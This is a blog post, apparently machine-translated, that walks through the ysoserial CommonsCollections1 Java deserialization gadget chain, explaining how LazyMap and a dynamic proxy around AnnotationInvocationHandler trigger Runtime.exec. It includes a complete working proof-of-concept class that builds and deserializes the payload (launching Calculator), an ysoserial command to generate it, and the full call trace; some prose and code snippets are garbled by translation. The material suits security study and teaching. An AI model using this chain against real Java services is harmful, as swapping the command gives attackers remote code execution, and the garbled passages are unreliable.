Ysoserial common collections1 using chain parsing

Keywords: Java

;

(2) The code shown in is different from that in ysoserial. The CommonCollections1 in ysoserial uses LazyMap instead of transformaedmap in the chain.

Transformaedmap can refer to the following links

Changting Technology:   https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

LazyMap is similar to TransformedMap, both of which are from the common collections library and inherit the AbstractMapDecorator. The only difference between LazyMap's vulnerability trigger point and TransformedMap is that TransformedMap executes transform when writing elements, while LazyMap executes factory.transform in its get method. LazyMap is used for lazy loading. When get cannot find a value, it will call the factory. Transform method to obtain a value.

Compared with the utilization method of TransformedMap, the subsequent utilization of LazyMap is slightly more complicated because the get method of Map is not directly called in the readObject method of sun.reflect.annotation.AnnotationInvocationHandler. So ysoserial finds another way. The invoke method of AnnotationInvocationHandler class calls get:  

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4  = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if(var4.equals("equals") && var5.length == 1 && var5[0] == Object.class){
        ...    
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        byte var7 = -1;
        switch(var4.hashCode()) {
        ...
        }
        switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.gt(var4);
            ...
        }
    }
}

How to call AnnotationInvocationHandler#invoke? The author of ysoserial thought of using Java object proxy.

0x02   Object proxy

Java as a static language, if you want to hijack the method call inside an object, you can implement a magic method similar to PHP__ Call. java.reflect.Proxy is required

__call: https://www.php.net/manual/en/language.oop5.overloading.php#object.call

Map proxyMap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(), 
            new Class[] {Map.class}, 
            handler
);

The first parameter: ClassLoader. Use the default

Second parameter: the collection of objects that need to be represented

The third parameter is an object that implements the InvocationHandler interface, which contains the logic of the specific agent

Examples are as follows

package ExampleInvocationHandler;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.HashMap;

class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;

    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().compareTo("get") == 0) {
            System.out.println("Hook method: " + method.getName());
            return "Hacked Object";
        }

        return method.invoke(this.map, args);
    }
}

public class Main {
    public static void main(String[] args) throws Exception {

        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result); // output: Hacked Object
        proxyMap.put("key", "value");
        result = (String) proxyMap.get("key");
        System.out.println(result); // output: Hacked Object
        System.out.println(proxyMap.size());

    }
}

The ExampleInvocationHandler class implements the invoke method to return a special string Hacked Object when it is monitored that the called method name is get. Invoke is to call the method and hijack the get method in HashMap. No matter what key is obtained from HashMap, only Hacked Object will be returned, while calling other methods in HashMap will not be affected.

In the above method sun.reflect.annotation.AnnotationInvocationHandler, if this object is represented by Proxy, only any method will be called when reading the object, and it will enter the AnnotationInvocationHandler#invoke method, which will trigger LazyMap#get.

0x03 use LazyMap to construct chain

Modify the POC in (II) and replace the transformaedmap with LazyMap

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Then Proxy the sun.reflect.annotation.AnnotationInvocationHandler object

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler 
    = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(), 
            new Class[] {Map.class},
            handler
);

The object after proxy is called proxyMap, but we can't serialize it directly. Because our entry point is sun.reflect.annotation.AnnotationInvocationHandler#readObject, we need to wrap this proxyMap with AnnotationInvocationHandler.

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

To sum up

package commoncollection1_final;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CommonCollection1Final {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        // serialize
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss     = new ObjectOutputStream(barr);
        oss.writeObject(handler);
        oss.close();

        // Deserialization
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

0x04 comparison between lazymap and TransformedMap

LazyMap can't solve the problem of using the CommonCollections1 utilization chain in higher version Java(8u71 later).

LazyMap's vulnerability is triggered in get and invoke without setValue at all. It also shows that 8u71 the reason why it can't be exploited has nothing to do with whether there is setValue in AnnotationInvocationHandler#readObject. The key is logic.

0x05 experiment

java -jar ysoserial.jar CommonsCollections1 /System/Applications/Calculator.app/Contents/MacOS/Calculator > CommonsCollections1.bin

The utilization chain can be obtained as follows

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

0x05 reference

https://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class

Posted by bobby317 on Mon, 06 Sep 2021 19:59:58 -0700